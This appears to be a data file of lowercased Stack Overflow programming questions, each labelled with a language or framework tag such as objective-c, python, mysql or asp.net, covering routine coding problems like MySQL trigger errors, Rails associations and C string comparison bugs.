what is the proper way to declare a global variable in objective-c  so  i was wondering what the proper way to declare a global variable is in an ios project. i don t want it set as a property  because the variable should not be accessible from outside the class.    i am going to provide a few ways i have seen  let me know which is the proper way  and if there is another way that is better.    this way i add the global variable inside curly braces after the <code>@interface</code> declaration in the implementation file <code>.m</code>. then i can initialize the variable in the <code>viewdidload</code>   <pre><code>#import  viewcontroller.h   @interface viewcontroller () {     int globalvariabletest; } @end  @implementation viewcontroller </code></pre>   another way i add the global variable inside curly braces after the <code>@implementation</code> declaration in the implementation file <code>.m</code>. again intializing in the <code>viewdidload</code>   <pre><code>#import  viewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller {        int globalvariabletest; } </code></pre>   another way is adding the variable after the <code>@implementation</code> without the curly braces  also this allows me to set the intial value without the <code>viewdidload</code>   <pre><code>#import  viewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller  int globalvariabletest = 1; </code></pre>   another way is to add the variable after the <code>@interface</code> inside the header file <code>.h</code>   <pre><code>@interface viewcontroller : uiviewcontroller {     int globalvariabletest; } </code></pre>   so if there is a better way please let me know  all help will be appreciated!,objective-c
passing the result of a method to a constructor java  i want to pass the result of this method.   <pre><code>static public int[][] scancube(cube c){      int counter0 = 0;     scanner in = new scanner(system.in);      counter0 = 0;     while(counter0 &lt; 4){         cube[bottom][counter0] = integer.parseint(in.nextline());         counter0++;     }     return cube; } </code></pre>   to this constructor so that i can call the method above in main.   <pre><code>private cube(int [][] scancube){     cube = new int[scancube.length][];     for(int i = 0; i &lt; scancube.length; i++){         cube[i] = arrays.copyof(scancube[i]  scancube[i].length);     } } </code></pre>   so i can use this in main like this.   <pre><code>public static void main(string[] args) {     cube c = new cube();     cube.scancube(c);     system.out.println(c);     cube.solve(c); } </code></pre>,java
how to define startpoint endpoint for horizontal line  i want to draw a horizontal line with a gradient at loc 550.   <pre><code>cgfloat colors[6] = {      138.0f / 255.0f  1.0f      162.0f / 255.0f  1.0f      206.0f / 255.0f  1.0f}; cgfloat locations[3] = { 0.05f  0.45f  0.95f }; cgcolorspaceref colorspace = cgcolorspacecreatedevicegray(); cggradientref gradient = cggradientcreatewithcolorcomponents(colorspace  colors  locations  3); cgcolorspacerelease(colorspace);  cgpoint startpoint = cgpointmake(0  0); cgpoint endpoint   = cgpointmake(0  550);   cgcontextref context = uigraphicsgetcurrentcontext();   cgcontextsavegstate(context);  cgcontextaddrect(context  cgrectmake(0  550  self.view.bounds.size.width  1));  cgcontextclip(context);  cgcontextdrawlineargradient (context  gradient  startpoint  endpoint  0); cgcontextrestoregstate(context);            </code></pre>   no line is drawn in this code and the xcode gives me this error:    <pre><code>            cgcontextaddrect: invalid context 0x0 </code></pre>,ios
attach image to a recorded audio file   after i have recorded audio and stored it in a file using the avaudiorecorder  i email it to the user from from the app. it s working fine.    now  however  i need to take an image that i have in my app and attach it to the video  and then send it via email  so when the video is playing you will see that image in the player.    how can i do that     thanks.    i send the email like this:   <pre><code>nsarray *torecipients = [nsarray arraywithobject:@ your email ];     [picker settorecipients:torecipients];      nsstring *sound=[nsstring stringwithformat:@ sound%d.caf  [memoryinstnace getlastrecordsoundnumber]];      nsarray *paths2 = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *datapath = [[paths2 objectatindex:0] stringbyappendingpathcomponent:sound];     nsdata *data = [nsdata datawithcontentsoffile:datapath];     [picker addattachmentdata:data mimetype:@ caf  filename:sound];// </code></pre>,objective-c
all possible phase combination  suppose  i have a list of    <blockquote>    1 1  </blockquote>   and it can take either + or - sign. so the possible combination would be 2 to the power 2.    <pre><code> 1  1  1 -1 -1  1 -1 -1 </code></pre>   similarly  i have a list of    <blockquote>    1 1 1  </blockquote>   and it can take either + or - sign. so the possible combination would be 2 to the power 3.   <pre><code>-1   1  -1 -1   1   1  1   1   1  1  -1   1 -1  -1  -1  1   1  -1  1  -1  -1 -1  -1   1 </code></pre>   in python  how can i do that using itertools or any other methods. any help please.,python
how to make a copy of an object and compare with the original  i need to make a copy of the following object and compare it to the original but i have no idea where to begin.   <pre><code>administrator admin = new administrator(first  last        new date(month day year)  salary  title  department  supervisor); </code></pre>   i have tried researching <code>copy</code> and <code>clone</code> methods but i can not seem to grasp it.,java
styling ordered list numbers with a different font size than content  i want to style an ordered list giving the numbers a much more bigger font size than the li elements content.    i have already achieved this but i dont know how to align the li elements content with the top of the numbers.    take a look:    <img src= https://imgur.com/2qeqy.png  alt= alt text >    i have tried giving ol li p negative top margin  but that doesnt work. also  ol li has a top margin but if i set it to 0 it doesnt do anything. my current html is:   <pre><code>&lt;ol&gt;   &lt;li&gt; &lt;p&gt;content&lt;/p&gt; &lt;/li&gt;  &lt;li&gt; &lt;p&gt;more content&lt;/p&gt; &lt;/li&gt;  &lt;/ol&gt; </code></pre>   and my css:   <pre><code>ol { padding-top: 200px; } ol li { color: #eeeded; font-size: 35px; font-weight: bold; font-style: italic; margin-top: 5px; line-height: 1;  } ol li p { font-size:  11px; color:  #444444; font-weight: normal; font-style: normal; line-height: 1.7em; } </code></pre>   any ideas,css
building iphone app on linux  hi all is there way to build iphone app on linux without using xcode.i want to make use of ant.,iphone
ios customised email  i am looking for a way to customize an email function in my app without using the standard ios built-in messageui.framework. the reason being:    1) i do not want the recipient address to be reflected to avoid spamming.    2) also  we are a very small company and are using shared server. although we have our own email address  if we can hide our email address  we could use a gmail address (with better reliability of deliveries) instead without losing professionalism.    3) i do not want the subject and the recipient address editable    etc.    is there a way to this     thanx in advance...,ios
x.is_integer() returns false when number is whole  version: python 2.7    i am trying to check if the number x  in this case 64  is a cube. i check if the root-cube of the number is an integer:   <pre><code>root3 = math.pow(64  (1/3.0)) print(root3) print(root3.is_integer()) </code></pre>   which prints:   <pre><code>4.0 false </code></pre>   which is wrong  since 4.0 is an integer. in comparison  using 4.0 directly:   <pre><code>print((4.0).is_integer()) </code></pre>   which prints <code>true</code>.    <strong>how can i make sure the root cube of 64 is considered as a whole float </strong>,python
join tables and return total number of matches for each record  i have the following two tables:    actions:   <pre><code>id | action ---|--------  1 | some action  2 | another action  3 | and another </code></pre>   and completedactions:   <pre><code>id | userid | actionid ---|--------|---------  1 | 4      | 1  2 | 4      | 2  3 | 4      | 2  4 | 4      | 2  5 | 5      | 1 </code></pre>   and want to join them on a given userid and then return all actions and how many times a user has completed an action returning a table as follows using userid=4 as an example:   <pre><code>id | action         | times ---|----------------|-------  1 | some action    | 1  2 | another action | 3  3 | and another    | 0 </code></pre>   is this possible in mysql,mysql
mysql error 1442  i have two tables:   <blockquote>    <code>sanction</code> with these attributes: <code>driverid</code>  <code>calification</code>  <code>points</code><br>   <code>people</code>  with these attributes: <code>pid</code>  <code>city</code>   <code>totalpoints</code>  </blockquote>   and i have this trigger:   <pre><code>drop trigger if exists updatepoints_tgr;  delimiter $$ create  trigger updatepoints_tgr after update on sanctions for each row  begin      if new.points &gt; old.points       then          update people          set totalpoints = totalpoints + (new.points - old.points)          where people.pid = new.driverid;      elseif new.points &lt; old.points       then          update people          set totalpoints = totalpoints - (new.points - old.points)          where people.pid = new.driverid;      end if;  end$$  delimiter ; </code></pre>   and when i try to execute this update    <pre><code>update sanctions  join people on sanctions.driverid=people.pid set points=points+6 where city= barcelona   and calification= lightpenalty  </code></pre>   i  get this error:   <blockquote>    can t update table  people  in stored function/trigger because it is   already used by statement which invoked this stored function/trigger.  </blockquote>   how can i fix it  thanks.    i use windows 10 and mysql server 5.7.17,mysql
gridview rows unaccessible at server side  i have used an <code>asp:gridview</code> with <code>clientidmode= static </code> and i<code>d= gridview2 </code> that shows some specific results let s say accounts details on a button click.    first i was databounding the grid and every thing was okay other than postback delay and whole page redraw.   <pre><code>(gridview2.datasource = datatable.defaultview;  gridview2.databind();) </code></pre>   now i am using ajax to update this grid(i create the html of grid in ajax function and overwrite it on grid html like that   <pre><code>$( #gridview2 ).html(html.join(  )) </code></pre>   ) it is drawing properly but now i am unable to access its rows on server side.   <pre><code>for (int rows = 0; rows &lt; maydatagrid.rows.count; rows++)//.rows.count is always 0 but in html it is there. </code></pre>,asp.net
rails - how to associate a  shop  with more than one  mall  at the same time   i am making a simple rails app which acts as a directory of all malls in kuwait and shops within that mall. i created a shop model and mall model and made the following association:-   <pre><code>class shop has_many_and_belongs_to :malls  class mall has_many :shops </code></pre>   as the same shop can exist in more than one mall  i would like a way for me to link a shop with more than one mall at the same time. how can i make it so that a shop automatically appears under many different malls when i go to that malls show page  without having to individually create the same shop each time for each mall. so in other words i need to be able to choose which malls the shop belongs to while im creating a new shop  and then have that shop appear in the malls that i previously specified.    <strong>update:</strong> explain assigning the shop to a particular mall in the creation process. for example when i create a new shop  how do i then specify that it belongs to mall a and mall b but not mall c  and then have them appear in the corresponding malls show page,ruby-on-rails
data binding simple variable not working  this is the page code for the control:   <pre><code>&lt;asp:textbox id= someid  maxlength= 10  columns= 10  runat= server  text= &lt;%# work %&gt;  /&gt; </code></pre>   this is how i set up and populate the variable before page is rendered  it is in the code behind  i have tried i think all the variations available for the variable declaration  e.g. public  shared  protected  etc.:   <pre><code>public work as string work =  987654321  </code></pre>   the textbox always comes up blank. referred to this <a href= http://support.microsoft.com/kb/307860  rel= nofollow >ms kb page</a> for how this work and it has a specific example.    however  it didn t explain anywhere if there is some special way of declaring the variables used in the binding or some special way to set the value of the variable  or is there something needed to allow the <code>&lt;%#</code> syntax to work,asp.net
how to display the array values in random manner <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/56648/whats-the-best-way-to-shuffle-an-nsmutablearray >what&#39;s the best way to shuffle an nsmutablearray </a>    </blockquote>     iam developing one application.in that i have one array.that contain 5 values 1 2 3 4 5.and i want to display that values in random manner.for example first time it display 3 2 4 5 1.and second time 1 3 2 4 5.like this every time i want to change the order.so please tell me how to do this one.,iphone
get registered httphandlers in the web.config from httpcontext  is there a way to get the types of the registered <code>ihttphandler</code>s from a current <code>httpcontext</code> or the web.config     i m trying to see if my <code>httphandler</code> is registered in the web.config from a <code>webcontrol</code>.,asp.net
union of two rectangles.write a program to find the smallest possible rectangle enclosing the 2 given rectangles  given the coordinates of the lower left corner (x y)  the length (l) and width(w) of 2 rectangles  write a program to find the smallest possible rectangle enclosing the 2 given rectangles.    input and output format:    the 1st line of the input consists of 4 integers separated by a space that correspond to x  y  l and w of the first rectangle.    the 2nd line of the input consists of 4 integers separated by a space that correspond to x  y  l and w of the second rectangle.    output consists of 4 integers that correspond to x  y  l and w of the union rectangle.    sample input :    3 8 1515    2 6 10 10    sample output:    2 6 16 17    i am not able to figure out the logic....i am not asking for the whole program just want help on the logic part...    update: here is my program which is now working...thank u all for your help :)   <pre><code>#include&lt;stdio.h&gt; int main() {   int x1  x2  y1  y2  l1  l2  w1  w2  xmax  xmin  ymax  ymin;   scanf(“%d %d %d %d\n” &amp;x1 &amp;y1 &amp;l1 &amp;w1);   scanf(“%d %d %d %d\n” &amp;x2 &amp;y2 &amp;l2 &amp;w2);   xmin = x1 &lt; x2   x1 : x2;   ymin = y1 &lt; y2   y1 : y2;   int b = x1 + l1;   int c = x2 + l2;   xmax = b &gt; c   b : c;   int d = y1 + w1;   int e = y2 + w2;   ymax = d &gt; e   d : e;   int l = xmax - xmin;   int w = ymax - ymin;   printf(“%d %d %d %d” xmin ymin l w);   return 0; } </code></pre>   can t figure out the problem in my program.. :(,c
how to read a space character from a text file in c++  in c++  ascii characters has a default value. like ! has a value of 33      has also a value of 44 and so on.    inside my text file  hehe.txt  is. <code>;! .</code>   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  int main() {     std::ifstream file( hehe.txt );     if(file.eof())          return 0;     char ascii;      while(file&gt;&gt;ascii) {         std::cout &lt;&lt; (int)ascii &lt;&lt;    ;     }     system( pause ); }  </code></pre>   output is <code>59 33 44 46</code>.    edit: how may i prevent space to be ignored as being read from the text file when i run my program  suppose i added space after the last character <code>;! .</code>thus  the output must be <code>59 33 44 46 32</code>. hope someone could give me an idea how to do it.,c++
why in c++ there are no compile-time error if class field is not initialized   in my class i was using such field:   <pre><code>private: bool firstseqnumreceived; </code></pre>   everything were working fine for a while but after one commit i ve figured out that now field is <code>true</code> by default. surprisingly field is not initialized to <code>false</code> by default  instead assigned value is implementation dependent (refer to <a href= https://stackoverflow.com/questions/2614809/what-is-the-default-value-for-c-class-members >what is the default value for c++ class members</a> for more details )    now i wonder why compiler doesn t produce compile-time error forcing me to add initialization  who needs  implementation-dependent  default value  are there any use-cases  why not produce compile-time error in this case,c++
how to test if a file at an external url exists without downloading it   i would like to test if a url exists without loading any actual data.    i was thinking of initiating a nsurlconnection  and then using these two delegate methods to check the status:   <pre><code>- (void)connection:(nsurlconnection *)connection didfailwitherror:(nserror *)error {     // connection failed ... presumably this is a server issue  and i don t know if the url exists or not. }  - (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response {     int status = [((nshttpurlresponse *)response) statuscode];     [connection cancel];     // do something with the status } </code></pre>   would this be a sensible way  the files i m testing could potentially be very large  so i want to make sure that the actual file is not downloaded.    thanks  ron    p.s. i m looking at adding this because apple forced my app to stop backing up files downloaded from the internet. instead  i store the files in non-backed up space  and in my backed up database i keep track of the original location of the file. since the file is intended to be a permanent part of the user s library  i would like to periodically test if a file is not accessible and then move it into backed up space (so it will survive a restore to a new device  for example). i m very annoyed at apple for forcing me to make this change as i can imagine customers losing important data.    p.p.s. for some strange reason  these delegate methods no longer appear in the documentation for nsurlconnectiondelegate protocol. i m assuming the documentation is just messed up.,ios
how can i fix my code so a float be iterable  <pre><code>for spamicities in sorted(map(lambda body: self.word_spamicity(body) re.sub( [^\w]         body).split())                                  key=lambda x: abs(0.5 - x) reverse=true)[0:38]:  hamicities = map(lambda x: 1-x  spamicities) </code></pre>   spamicities is a float and i got an error <code>typeerror:  float  object is not iterable</code>    how can i fix my code,python
ios web dev: orientations & choosing image sizes  i m building an iphone version of a website and was curious of the best practices for choosing image sizes. i m making a simple vertical column of images text. i originally thought that 300px would be the best size (320px portrait mode minus 10px margin each side). however when user rotates to landscape the images will now seem blurry &amp; upscaled. the alternative is to make the images larger  but then in portrait mode they will all need downscaling- does this make the page load slower  i assumed most people view in portrait.    if i go with landscape/480px as the base size what viewport meta should i use to get it to size down for portrait  my current viewport meta tag is :   <pre><code>&lt;meta name= viewport  content= user-scalable=no  width=device-width  /&gt; </code></pre>   many thanks in advance,iphone
angularjs post to server  i have an angularjs form which posts data to a java servlet  but i am not seeing the request go through;  servlet  create  wasn t called.    here s my code:    test.html                                          <pre><code>&lt;body&gt;     &lt;form ng-controller= usercontroller &gt;          &lt;legend&gt;create user&lt;/legend&gt;         &lt;label&gt;name&lt;/label&gt;          &lt;input type= text  id= name  name= name  ng-model= name  placeholder= user name &gt;           &lt;label&gt;email&lt;/label&gt;         &lt;input type= text  id= email  name= email  ng-model= email  placeholder= ur email here &gt;           &lt;label&gt;password&lt;/label&gt;         &lt;input type= text  id= pwd  name= pwd  ng-model= pwd  placeholder= ur own pwd here &gt;          &lt;button ng-submit= createuser()  class= btn btn-primary &gt;register&lt;/button&gt;      &lt;/form&gt; &lt;/body&gt; </code></pre>   script.js   <pre><code>function usercontroller($scope  $http) {     $scope.user = {};     $scope.createuser = function() {         $http({             method :  post               url :  /create               data :  name=  + $scope.user.name +  &amp;email=  + $scope.user.email              headers : {                  content-type  :  application/x-www-form-urlencoded              }         })     } </code></pre>   my servlet is as below but it doesn t print  post  an all.   <pre><code>public class firstservlet extends httpservlet {      /**      *       */     private static final long   serialversionuid    = 1l;      @override     protected void doget(httpservletrequest req  httpservletresponse resp)             throws servletexception  ioexception     {         system.out.println( get );     }      @override     protected void dopost(httpservletrequest req  httpservletresponse resp)             throws servletexception  ioexception     {         system.out.println( post );     } } </code></pre>   the web server is jetty and the web.xml as below:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;web-app xmlns= http://java.sun.com/xml/ns/j2ee  xmlns:xsi= http://www.w3.org/2001/xmlschema-instance      version= 2.4      xsi:schemalocation= http://java.sun.com/xml/ns/j2ee   http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd &gt;     &lt;servlet&gt;         &lt;servlet-name&gt;createuser&lt;/servlet-name&gt;         &lt;servlet-class&gt;servlet.firstservlet&lt;/servlet-class&gt;         &lt;load-on-startup&gt;0&lt;/load-on-startup&gt;     &lt;/servlet&gt;     &lt;servlet-mapping&gt;         &lt;servlet-name&gt;createuser&lt;/servlet-name&gt;         &lt;url-pattern&gt;/create&lt;/url-pattern&gt;     &lt;/servlet-mapping&gt; &lt;/web-app&gt; </code></pre>,angularjs
how to fix ca2000 code analysis error on new datatable instance  how to fix ca2000 code analysis error in following function on statement datatable dtsummary = new datatable( summary );  ca2000 going off if i use using block on dtsummary and i can t use using block in below function becuase some other function is going to use return datatable from getsummaryreporttable function.    private datatable getsummaryreporttable(iimportresult result) {   <pre><code>datatable dtsummary = new datatable( summary ); dtsummary.columns.add(status_string_col_name  typeof(string)); dtsummary.columns.add(status_col_name  typeof(int)); datarow datarow;  foreach (reporterrorlevel error in distincterrors) {     datarow = dtsummary.newrow();     datarow[status_string_col_name] = error.tostring();     datarow[status_col_name] = convert.toint16(error);     dtsummary.rows.add(datarow); }            return dtsummary;  </code></pre>   },.net
asp deploying a website on a server  i am using visual web developer express and when i build the website on localhost  everything is fine. but when i try to deploy it on a server o get many errors like:   <pre><code>line 18:  parser error message: it is an error to use a section registered as allowdefinition= machinetoapplication  beyond application level. this error can be caused by a virtual directory not being configured as an application in iis.  source error:   line 16: &lt;customerrors mode= off /&gt; line 17:  line 18:       &lt;profile enabled= true &gt; line 19:        &lt;!--&lt;anonymousidentification enabled= true /--&gt;  line 20:         &lt;properties&gt; </code></pre>   when i take this part off i get an error on line 3:   <pre><code>parser error message: could not load file or assembly  ajaxcontroltoolkit  or one of its dependencies. the system cannot find the file specified.  source error:       line 1:  &lt;%@ master language= c#  autoeventwireup= true    codefile= masterpage.master.cs            inherits= masterpage  %&gt;     line 2:       line 3:  &lt;%@ register assembly= ajaxcontroltoolkit  namespace= ajaxcontroltoolkit  tagprefix= asp  %&gt;     line 4:       line 5:  &lt;!doctype html public  -//w3c//dtd xhtml 1.0    transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;   source file: /zimmer/masterpage.master    line: 3   assembly load trace: the following information can be helpful to determine why the assembly  ajaxcontroltoolkit  could not be loaded.  wrn: assembly binding logging is turned off. to enable assembly bind failure logging  set the registry value [hklm\software\microsoft\fusion!enablelog] (dword) to 1. note: there is some performance penalty associated with assembly bind failure logging. to turn this feature off  remove the registry value [hklm\software\microsoft\fusion!enablelog]. </code></pre>   how can i fix this,asp.net
jquery calling function to parent element  i have got this html   <pre><code>&lt;div class= aname &gt;     &lt;div class= cllt &gt;       &lt;img src= ../img/close.png  class= cl  /&gt;       &lt;div class= drag &gt;         &lt;img src= ../img/dr.png  class= dr  /&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and this jquery function   <pre><code>function handle_mousedown(e){     window.my_dragging = {};     my_dragging.pagex0 = e.pagex;     my_dragging.pagey0 = e.pagey;     my_dragging.elem = this;     my_dragging.offset0 = $(this).offset();     function handle_dragging(e){         var left = my_dragging.offset0.left + (e.pagex - my_dragging.pagex0);         var top = my_dragging.offset0.top + (e.pagey - my_dragging.pagey0);         $(my_dragging.elem)             .offset({top: top  left: left});     }     function handle_mouseup(e){         $( body )             .off( mousemove   handle_dragging)             .off( mouseup   handle_mouseup);     }     $( body )         .on( mouseup   handle_mouseup)         .on( mousemove   handle_dragging); } </code></pre>   source <a href= https://stackoverflow.com/questions/2424191/how-do-i-make-an-element-draggable-in-jquery >how do i make an element draggable in jquery </a>; and i have tried this way   <pre><code>$( .dr ).mousedown(function(){     $(this).parent().parent().parent(handle_mousedown) }); </code></pre>   but it is not dragging it,jquery
how to check a date exists in between two dates   how to check if date <strong><em>11/12/2014</em></strong> exists in between dates <strong><em> 11/10/201 </em></strong> and <strong><em> 11/15/2014 </em></strong>,sql
core location - problem initialising  i m looking for a bit of guidance from anyone who has worked with core location on the iphone. my app is almost complete  i m just trying to finish off one last thing for my client.    my app is to assist users with their workouts. similar functionality to mapmyrun. it has a timer screen with a start/stop button and a reset button. when the start button is tapped  the timer starts counting and core location starts tracking the users progress  calculating speed and distance. the issue i m having is with core location trying to find the users current location. scenario below:    <strong>day 1</strong> user has gone out for a jog and uses the app to track their progress  user has jogged for an hour  workout is saved. everything works as it should.     <strong>day 2</strong> user decides to go jogging again  this time in a different area than yesterdays jog. lets say 10 miles away. so they start the timer  but core location takes some time to initialise to the users current position. this causes the distance field to jump irrationally as core location tries to determine the current location.     i ve explained why this happens but my client is not very happy  they don t want to see the distance field jump  which is fair enough.     so i m wondering if anybody has a nice solution to initialising core location to the users current location. i could perhaps break the link between core location and the distance field for a certain period of time which will give core location a chance to get an accurate reading.    any help greatly appreciated.    regards  stephen,iphone
break decimal value into two values (before and after decimal)  how to break a decimal value into integer values  first value should be the value before decimal and the other value of after decimal.    problem : decimal place is unknown as well as the number of digits; ex :    <pre><code>double value = 2635.215; int firstvalue = 2635; // should be int secondvalue = 215; // should be </code></pre>,c#
rails action to accept json as input  convert json to object and then save  i have a simple new form like this:    <pre><code>&lt;h1&gt; new &lt;/h1&gt;  &lt;%= form_for :user  url:  create  do |f| %&gt;      &lt;p&gt;     &lt;%= f.label :firstname %&gt;        &lt;%= f.text_field :firstname %&gt;     &lt;/p&gt;      &lt;p&gt;     &lt;%= f.label :lastname %&gt;         &lt;%= f.text_field :lastname %&gt;     &lt;/p&gt;      &lt;p&gt;     &lt;%= f.label :username %&gt;         &lt;%= f.text_field :username %&gt;     &lt;/p&gt;      &lt;p&gt;     &lt;%= f.label :password %&gt;         &lt;%= f.text_field :password %&gt;     &lt;/p&gt;      &lt;p&gt;     &lt;%= f.label :email %&gt;        &lt;%= f.text_field :email %&gt;     &lt;/p&gt;      &lt;p&gt;         &lt;%= f.submit %&gt;     &lt;/p&gt;  &lt;% end %&gt; </code></pre>   as you can see it invokes the create action which is defined below:    <pre><code>def create       @user = user.new(params[:user])     @user.save   end  </code></pre>   it gives me the following error:    <pre><code>activemodel::forbiddenattributeserror  extracted source (around line #8): 6 7 8 9 10 11    def create       @user = user.new(params[:user])     @user.save    end  </code></pre>   all i want is that my method create accept input as json arguments and then convert those arguments to a user object and then save the object.     update:     i have the following create method which is defined as post:    <pre><code>def create     @user = user.new(user_params)      @user.save     end  </code></pre>   i am sending the following json but it never gets saved:    <pre><code>{ firstname : john    lastname: doe    username : johndoe    password : mypassword    email : johndoe@gmail.com } </code></pre>   update:     after passing the following json:    <pre><code>{ user :{ firstname : john    lastname: doe    username : johndoe    password : mypassword    email : johndoe@gmail.com }} </code></pre>   i get the following error in my httpclient application:   <pre><code>&lt;h2&gt;795: unexpected token at &amp;#39;{&amp;quot;user&amp;quot;:{&amp;quot;firstname&amp;quot;:&amp;quot;john&amp;quot;  &amp;quot;lastname:&amp;quot;doe&amp;quot;  &amp;quot;username&amp;quot;:&amp;quot;johndoe&amp;quot;  &amp;quot;password&amp;quot;:&amp;quot;mypassword&amp;quot;  &amp;quot;email&amp;quot;:&amp;quot;johndoe@gmail.com&amp;quot;}}&amp;#39;&lt;/h2&gt; </code></pre>   update:    now i get the following error after i got the json correct:     actioncontroller::invalidauthenticitytoken       in userscontroller#create,ruby-on-rails
creating a win condition by passing strings in functions  whenever i compile my code currently it prints all possible scenarios no matter what integer is passed. any help on how to fix this and why this happens    <pre><code>#include &lt;stdio.h&gt; void *get_plays(char *player1  char *player2) {     printf ( player 1 chooses to play:    );     scanf( %s   player1);     printf ( player 2 chooses to play:    );     scanf( %s   player2);     return player1;     return player2; } int *check_for_winner(char *player1  char *player2  int condition) {      if (player1==player2){         condition = 0;     }     else if(player1== rock  &amp;&amp; player2 ==  scissors ){         condition = 1;     }     else if(player1== paper  &amp;&amp; player2 ==  scissors ){         condition = 2;     }     else if(player1== rock  &amp;&amp; player2 ==  paper ){         condition = 2;     }     else if(player1== paper  &amp;&amp; player2 ==  rock ){         condition = 1;     }     else if(player1== scissors  &amp;&amp; player2 ==  papper ){         condition = 1;     }     else (player1== scissors  &amp;&amp; player2 ==  rock );{         condition = 1;     } } void *print_plays(char *player1  char *player2) {     printf( player 1 has played %s \n  player1);     printf( player 2 has played %s \n  player2); } void *print_winner(int condition) {     if (condition = 0){         printf( it s a tie\n );     }     else if (condition = 1){         printf( player 1 wins\n );     }     else (condition = 2);{         printf( player 2 wins\n );     } } int main(void) {     char player1[10];     char player2[10];     int win;     get_plays(player1  player2);     check_for_winner(player1  player2  win);     print_plays(player1  player2);     print_winner(win);           return; } </code></pre>   when i compile it prints  player 1 wins  and  player 2 wins  no clue why or how to fix it or even why it happens. i m still fairly new to c so any help would be appreciated. thank you.,c
associating tags with entities  store the tag once or not   consider i have a table with notes which could be associated with zero or more tags  how would i decide to do   <pre><code>create table notes (   id int   -- primary key   -- other fields ); create table tagmapping (  noteid int  -- refers notes.id  tagid int  -- refers tags.id  ); create table tags (   int id  -- primary key   tagname varchar(255) ); </code></pre>   vs storing the same tag potentially several times as in    <pre><code>create table notes (   int id  -- primary key   -- other fields  );  create table bar (   id id  -- primary key   tag varchar(255)    -- other fields   noteid int -- refers to notes.id  (not unique) ); </code></pre>   what mess/advantages would i get myself into going for the last approach,sql
how to select a child scope in a ng-repeat   i have made a user picker which acts like a group of checkboxes but without the checkboxes.  it works well however i am having one issue around clearing it after it has been used.    html:   <pre><code>&lt;div ng-show= addtaskmenu &gt;   &lt;div id= userpicker &gt;     &lt;div ng-repeat= user in todo.users &gt;       &lt;div class= userbar  ng-click= selectuser = !selectuser &gt;         &lt;span ng-show= selectuser  class= icon-tick &gt;&lt;/span&gt;         {{user.name}}       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;button ng-click= closemenu() &gt;done&lt;/button&gt; &lt;/div&gt; </code></pre>   js:   <pre><code>$scope.closemenu = function(){   this.addtaskmenu = false;   // something to select all the  selectuser  variables = false; } </code></pre>   is there a way i can set the <code>selectuser</code> variable to false from the <code>closemenu()</code> function   as in  can i select a child scope of an ng-repeat from a parent scope,angularjs
uploading photo ( because it is being used by another process. )   when i upload the image it is showing this error please can u help me     the process cannot access the file  c:\websites\telugufilmchance\httpdocs\user\photo\thumb\ppts00025sonali.jpeg  because it is being used by another process.  description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.     exception details: system.io.ioexception: the process cannot access the file  c:\websites\telugufilmchance\httpdocs\user\photo\thumb\ppts00025sonali.jpeg  because it is being used by another process.    source error:    <pre><code>if (ext ==  .jpeg  || ext ==  .jpg  || ext ==  .png  || ext ==  .bmp  || ext ==  .gif ) line 193:            { line 194:                fupphoto.postedfile.saveas(path + filename); line 195:                bitmap src = bitmap.fromstream(fupphoto.postedfile.inputstream) as bitmap; line 196:                bitmap result = resizebitmap(src); </code></pre>   this is my code (updating code it is a edit page and i am updating)   <pre><code>  if (fupphoto.filename != string.empty)         {             filename = ran(fupphoto.filename);             fileinfo fi = new fileinfo(filename);             string ext = fi.extension.toupper();             string path = server.mappath( ../user/photo/thumb/ );                           if (ext ==  .jpeg  || ext ==  .jpg  || ext ==  .png  || ext ==  .bmp  || ext ==  .gif )             {                 fupphoto.postedfile.saveas(path + filename);                 bitmap src = bitmap.fromstream(fupphoto.postedfile.inputstream) as bitmap;                 bitmap result = resizebitmap(src);                 sizemgt(filename);                 system.drawing.bitmap img = new system.drawing.bitmap(result  newwid  newhgt);                 system.drawing.imaging.imagecodecinfo jpegcodec = null;                 system.drawing.imaging.encoderparameters encparams;                 foreach (system.drawing.imaging.imagecodecinfo codec in system.drawing.imaging.imagecodecinfo.getimageencoders())                 {                     if (codec.mimetype ==  image/jpeg )                     {                         jpegcodec = codec;                         break;                     }                 }                  encparams = new system.drawing.imaging.encoderparameters(1);                 encparams.param[0] = new system.drawing.imaging.encoderparameter(system.drawing.imaging.encoder.quality  20l);                 newfilename =  new  + filename;                 img.save(path + newfilename  jpegcodec  encparams);                 img.dispose();              }         }         else         {             newfilename = myphot;          }                  cmd = new sqlcommand( sp_uptreg   conn);                 cmd.commandtype = commandtype.storedprocedure;                 cmd.parameters.addwithvalue( @tregno   lblregno1.text);                 cmd.parameters.addwithvalue( @catid   ddlcategory.selecteditem.value);                  cmd.parameters.addwithvalue( @fname   txtfname.text);                 cmd.parameters.addwithvalue( @mname   txtmname.text);                 cmd.parameters.addwithvalue( @lname   txtlname.text);                  cmd.parameters.addwithvalue( @emailid   txtemail.text);                 cmd.parameters.addwithvalue( @phoneno   txtphone.text);                 cmd.parameters.addwithvalue( @mobileno   txtmobile.text);                 cmd.parameters.addwithvalue( @address   txtadd.text);                  cmd.parameters.addwithvalue( @photos   newfilename);                       int a = cmd.executenonquery(); </code></pre>,asp.net
how to randomize all the entire content inside of array c#  i have my <code>array {1 2 3 4 5 6 7 8 9 10 11 12 13 14 15}</code> and i want to randomize  10 numbers between 15 each one!    so when if i click a button will be something like this     <code>{2 4 5 6 8 9 12 13 14 15}</code> and i want to list all the 10 numbers that was chosen    i found this   <pre><code>string[] names = new string[] {              aaron moline1                 aaron moline2                 aaron moline3           };         random rnd = new random();         string[] myrandomarray = names.orderby(x =&gt; rnd.next()).toarray(); </code></pre>   its almost what i want  but i can t choose the limit of numbers i want. so  the output will be something like this:   <pre><code>{1 2 3 4 5 6 7 8 9 10 11 12 13 14 15} //15 numbers instead of 10 </code></pre>   so  to be clear  i want to select 10 numers randomly but they should be in oirder.,c#
